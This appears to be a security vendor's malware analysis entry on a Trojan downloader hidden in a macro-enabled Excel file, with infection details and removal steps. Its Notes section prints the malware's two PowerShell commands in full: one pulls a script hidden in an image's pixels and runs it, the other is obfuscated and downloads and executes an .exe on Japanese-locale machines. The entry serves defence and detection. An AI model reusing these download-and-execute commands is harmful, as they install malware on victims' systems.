Analysis by: Augusto II Remillano

ALIASES:

TrojanDownloader:O97M/Dornoe.A!ams (Microsoft), Trojan-Downloader.VBA.Agent (Ikarus)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

Infection Channel: Downloaded from the Internet, Dropped by other malware, Spammed via email

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

  TECHNICAL DETAILS

File Size: 118,272 bytes
File Type: XLS
Memory Resident: No
Initial Samples Received Date: 06 Nov 2018
Payload: Connects to URLs/IPs, Downloads files, Executes files

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • https://{BLOCKED}2.{BLOCKED}x.com/90/f1/gat2MVsK_o.png
  • http://{BLOCKED}on.com/connmouse

It saves the files it downloads using the following names:

  • %User Temp%\volumesound.exe

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, and 8.)

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

NOTES:

The document contains the following message details luring users to enable macro content:

This Trojan uses the following PowerShell commands to download and execute a malicious file:

  • sal fr New-Object;Add-Type -AssemblyName "System.Drawing";$ds=fr System.Drawing.Bitmap((fr Net.WebClient).OpenRead("https://{BLOCKED}2.{BLOCKED}x.com/90/f1/gat2MVsK_o.png"));$mk=fr Byte[] 2140;(0..4)|%{foreach($x in(0..427)){$tt=$ds.GetPixel($x,$_);$mk[$_*428+$x]=([math]::Floor(($tt.B-band15)*16)-bor($tt.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($mk[0..1907]))
  • ${DS}=&("{2}{0}{1}" -f'u','lture','Get-C') | &("{0}{2}{3}{1}"-f'F','List','or','mat-') -Property ('*') | &("{2}{0}{1}" -f'ut-St','ring','O') -Stream;if (${Ds} -Match "ja"){${URlS}=("{7}{2}{5}{1}{6}{0}{3}{4}" -f'on.c','ide','://','om/connmous','e','ol','r','http'),"";foreach(${uRl} in ${uRLs}){Try{.("{2}{1}{0}" -f'st','te-Ho','wri') ${uRL};${Fp} = "$env:temp\\volumesound.exe";.("{0}{1}{2}{3}" -f'W','r','ite','-Host') ${FP};${wC} = &("{0}{1}{2}" -f 'New-Ob','j','ect') ("{0}{3}{2}{1}"-f'System.Net','ent','i','.WebCl');${wC}."HEAdERs".("{1}{0}"-f'd','Ad').Invoke(("{1}{0}{2}" -f'a','user-','gent'),("{12}{14}{18}{15}{16}{10}{4}{7}{8}{0}{6}{19}{3}{5}{1}{2}{9}{11}{13}{17}"-f'NT 10.0',' (K','H','eWebK','T; W','it/534.6',';','ind','ows ','TML, like ','s N','G','M','e','oz','5.0',' (Window','cko) Chrome/7.0.500.0 Safari/534.6','illa/',' us-US) Appl'));${Wc}.("{1}{0}{3}{2}" -f 'dF','Downloa','le','i').Invoke(${URL}, ${fp});.("{1}{0}{2}" -f'art','St','-Process') ${FP};break}Catch{&("{0}{2}{1}" -f 'Wri','-Host','te') ${_}."ExcepTion"."mesSAGE"}}}
  • Proceeds with its malicious routine if the language setting of the affected machine is set to Japanese
  •   SOLUTION

    Minimum Scan Engine: 9.850
    FIRST VSAPI PATTERN FILE: 14.610.05
    FIRST VSAPI PATTERN DATE: 06 Nov 2018
    VSAPI OPR PATTERN File: 14.611.00
    VSAPI OPR PATTERN Date: 07 Nov 2018

    Step 1

    Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

    Step 2

    Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

    Step 3

    Search and delete these files

    [ Learn More ]
    There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
    • %User Temp%\volumesound.exe

    Step 4

    Scan your computer with your Trend Micro product to delete files detected as TROJAN.X97M.POWLOAD.NSFGAIBQ. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

    Step 5

    Enable the macro virus protection in Microsoft Office Applications

    [ Learn More ]


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